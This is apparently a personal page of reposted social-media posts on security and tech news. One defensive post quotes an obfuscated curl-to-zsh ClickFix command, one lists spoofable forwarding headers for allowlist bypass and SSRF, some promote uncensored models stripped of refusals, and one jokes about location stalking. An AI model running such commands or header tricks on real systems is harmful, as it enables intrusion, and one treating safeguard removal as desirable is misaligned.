Robbit

Robot or rabbit {maybe reddit};
That is the question. # 🤖 Retuiteo cosas.

[Ed Newton-Rex @ednewtonrex]

Piece on Reuters: https://t.co/IxhRGwNW1S

[Tony/Humpty @humpty_tony]

If you operate a SIEM I'd recommend giving a look st https://t.co/XFRCqQryZ3. Absolute fantastic work!

[Miguel Ángel Durán @midudev]

Si usas Claude Code, activa esto para ahorrar tokens.

→ Usa el comando /config
→ Busca "Output"
→ Elige el modo "Concise"

Mantiene las respuestas cortas en la sesión y sólo te da explicaciones cuando se las pides.

[Hugging Models @HuggingModels]

Ever wanted an AI that doesn't hold back? Meet Qwen3.8-27B-OBLITERATED, an abliterated model that's all about uncensored text generation. It's a red-team's dream, pushing boundaries while keeping the Qwen3.5 smarts. 4.4k downloads and counting, this is the edge you've been looking for. #AI #LLM

[Zerotistic @gegrgtezrze]

Reverse-engineering Apple's Find My People to stalk ̶ ̶m̶y̶ ̶e̶x̶ a friend (@Lymdun_Sama), cause I can.

Featuring: pretending Linux is an Apple device, talking to IDS/APNs, recovering encryption keys, and decrypting live locations without a Mac.

https://t.co/mjUohHg4qt

[Kostas @Kostastsale]

ClickFix on macOS has an interesting visibility gap that I don’t think gets enough attention. The command the victim pastes into the terminal may never show up in your execution logs…

Take a command like this:

curl -s $(echo "..." | openssl base64 -d -A) | zsh

What the victim pastes into Terminal and what ends up in your EDR execution logs can be two very different things.

The existing shell parses the command first. Builtins, command substitution and pipes are handled by the shell, while ESF execution telemetry mainly gives you the processes that are actually executed.

So instead of seeing the full ClickFix command, you will end up with something closer to:

1. openssl base64 -d -A
2. curl -s https://...
3. zsh …

And the most interesting thing is the final piped zsh execution

The downloaded script is passed to zsh through stdin. It is not part of the zsh command line, so the actual commands being executed can be completely absent from your normal process execution logs.

You may see the processes spawned afterwards, but not necessarily the script/command that caused them.

Something worth keeping in mind when investigating macOS ClickFix activity!!

[Rıdvan Yağlı @ridvanyagli]

🔴 Linux kernel için yeni bir LPE exploit yayınlandı. PoC, kernel heap bellek manipülasyonu ve UAF benzeri tekniklerle yerel kullanıcının root yetkisine yükselmesini amaçlıyor.

Çalışma Debian 6.12.101 üzerinde hazırlanmış ancak şu an için bilinen bir CVE numarası bulunmuyor.
https://t.co/r6dK24WxrA

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Qwen3.8-27B just got a proper cyber-focused uncensored & Run locally.

Specifically tuned to answer cyber & offensive-security questions without the usual refusals.

- Abliterated cyber-tuned
- 100/100 on held-out cyber-offensive prompts
- Scored 100 on their cyber-open eval.
- Vision & MTP (speculative decoding) included
- Clean Q4_K_M to Q8_0 quants

One of the more practical uncensored 27B releases for local red team / security work.

- https://t.co/vQaAlxIAn3

[Reesha @Reeshasx]

dica pra pentest, bugbounty e hacking em geral

testem:
x-foward-for
x-foward-host
x-real-ip
fowarded
x-forwarded-host
x-forwarded-proto

e alguns outros headers q não vou lembrar de cabeça

alem de bypass em rate limit você consegue acesso a infra interna por proxy trust issue

você basicamente(de forma extremamente grosseira falando) finge ter um ip localhost confiável via header e o proxy pode confiar nisso e te dar algum acesso interno (ex: 127.1, 192.168[.]xxx[.]xxx, 10.0.0.1 e etc etc, depende da infra)

aliás
x-forwarded-for pode afetar uma camada enquanto x-forwarded-host afeta outra

e isso é EXTREMAMENTE escalável

IP allowlist bypass, host/virtual-host confusion ou até SSRF

e ssrf pode escalar pra RCE

#bolhasec #bolhadev

[cr3ghost @cr3ghost]

Chad Everdox appreciation post.

Nick ‘Everdox’ Peterson (@nickeverdox) is genuinely one of the most underrated reverse engineers and Windows researchers in the industry.

A lot of people know Riot Vanguard.

Far fewer know the depth of Windows internals, kernel, anti-debugging, hypervisor and reverse engineering work behind one of the engineers who helped build and advance it.

His old blog is an absolute gold mine. Some of this research is more than a decade old and still covers concepts people are learning and rediscovering today.

Old but gold:

Easy anti-trace with SYSCALL:
https://t.co/cWpMDBIHzX

Debugger detection with GetProcessIoCounters:
https://t.co/NlQUlZQyVO

BTF + LBR anti-tracing:
https://t.co/ugj2T4VdPL

Paged virtual memory as an anti-debug / anti-dumping primitive:
https://t.co/R8fVpHinQC

Kernel/user shared page kernel-debugger detection:
https://t.co/SOgN6v0AHt

RTL_USER_PROCESS_PARAMETERS anti-debugging:
https://t.co/YggdAETOTW

Full archive:
https://t.co/Qbg8ScFxIt

Then there is InfinityHook, another Everdox contribution that became a reference point for Windows kernel instrumentation:

https://t.co/iSEJpIvye4

And his own article on https://t.co/SLm7Vlyd93:

PatchGuard: Detection of Hypervisor Based Introspection [P1]
https://t.co/pJNWLBE2Gu

If you are interested in reverse engineering, Windows internals, Windows kernel research, anti-debugging, anti-cheat engineering, hypervisor internals or obscure tricks buried deep inside the OS, his work is invaluable.

Also bookmark the wider https://t.co/SLm7Vlyd93 archive:
https://t.co/oGY1wYHPFw

That site is multi-author and contains excellent work from @daaximus , @aidankhoury across reverse engineering, kernel internals, virtualization and EPT.

People spend a lot of time chasing the newest research.

Sometimes the real gold has been sitting online for 10+ years.

#ReverseEngineering #WindowsInternals #Infosec

[CNX Software @cnxsoft]

Link for the "SUNSHINE RP2354A Pico DFU engineering board” (third picture): https://t.co/oTciGhzCuV

[International Cyber Digest @IntCyberDigest]

New subdomain lookup tool just dropped.

https://t.co/8lD04pCf4i

[Orwell Day @OrwellDay]

Flock is against having a record of what they say online.

They've blocked themselves on the waybackmachine internet archive!
-----

"This is highly irregular for a government vendor whose public-facing legal commitments are under active scrutiny. Flock may see it as routine legal or reputational risk management, limiting the ease with which past statements can be used against it. Critics and civil liberties organizations will likely view it as confirmation of what they have long argued: that Flock is a company actively working to reduce accountability rather than embrace it."

more: https://t.co/eUvC0qsEei

[SoyITPro @SoyITPro]

La actualización de certificados de Secure Boot tiene a más de un administrador de TI preocupado.
Cada fabricante de equipos a publicado guías del proceso de actualización. #Windows11

Te comparto la lista de enlaces y cómo validar si tu equipo tiene este certificado 2023 ya instalado.

🚀 https://t.co/mQTiJL43Hm

[avery @codeshaunted]

my letter to microsoft asking for a copy of the linux kernel under the GPL has arrived!

apparently they don’t actually get their mail delivered and just pick it up from the post office? google tells me this is common for big companies

but now the real waiting begins, will keep an eye out for if they cash my $5.00 check but that’s the only insight i have into the process here

luckily i’m seattle based, so any mail they do send me won’t take too long to arrive

ball is in your court, microsoft

[Nicolas Krassas @Dinosn]

massive azure exfiltration campaign impacts global brands - mcdonald’s, vodafone, and others https://t.co/EP9loWpHdR

[Orwell Day @OrwellDay]

Police are now using numeric codes for "reason" for search, so you can't know why they looked up your license plate when you check on https://t.co/Sv0krpS33B

[Nicolas Krassas @Dinosn]

CVE-2026-33696: From a Schema Name to RCE in n8n https://t.co/sxZJr6Ck0V

[domas @xoreaxeaxeax]

New exploit: “xor dword [0xf80c2094], 1<<22”

Unlocks CPU microcode, the platform security processor, system management mode, and every internal processor register, all at once, on 100 million AMD CPUs. As far as I can tell can’t be fixed.

https://t.co/sgAfneFSsf

[Perly 🦈 @_Shark_byte]

https://t.co/O1vAQWErki